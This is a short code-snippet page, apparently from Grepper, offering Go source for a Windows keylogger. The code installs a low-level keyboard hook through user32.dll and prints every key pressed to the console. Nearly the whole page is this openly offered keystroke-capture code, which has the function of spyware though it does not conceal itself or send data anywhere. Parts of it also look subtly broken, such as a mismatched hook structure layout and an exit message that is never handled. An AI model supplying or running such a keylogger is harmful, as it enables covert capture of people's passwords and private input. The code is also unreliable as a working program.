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keylogger using golang

Timothy tim answered on July 16, 2023 Popularity 5/10 Helpfulness 2/10

answer keylogger using golang

keylogger using golang

Comment

package main

import (
	"fmt"
	"os"
	"syscall"
	"unsafe"
)

const (
	whKeyboardLl = 13
	keyDownEvent = 0x0100
)

var (
	user32         = syscall.NewLazyDLL("user32.dll")
	setWindowsHook = user32.NewProc("SetWindowsHookExW")
	getMessage     = user32.NewProc("GetMessageW")
	callNextHook   = user32.NewProc("CallNextHookEx")
	unhook         = user32.NewProc("UnhookWindowsHookEx")
)

type kbdHookStruct struct {
	vkCode      uintptr
	scanCode    uintptr
	flags       uintptr
	time        uintptr
	dwExtraInfo uintptr
}

func main() {
	hookID, _, _ := setWindowsHook.Call(whKeyboardLl, syscall.NewCallback(kbProc), 0, 0)
	defer unhook.Call(hookID)

	fmt.Println("Keylogger is running. Press Enter to exit.")
	getMessage.Call(0, 0, 0, 0)
}

func kbProc(nCode int, wParam uintptr, lParam uintptr) uintptr {
	if nCode >= 0 && wParam == keyDownEvent {
		kbd := (*kbdHookStruct)(unsafe.Pointer(lParam))
		fmt.Printf("Key pressed: %c\n", kbd.vkCode)
	}

	return callNextHook.Call(0, uintptr(nCode), wParam, lParam).Uintptr()
}

Popularity 5/10 Helpfulness 2/10 Language go

Source: Grepper

Tags: go keylogger using

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Contributed on Jul 16 2023

Timothy tim

0 Answers Avg Quality 2/10

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keylogger using golang

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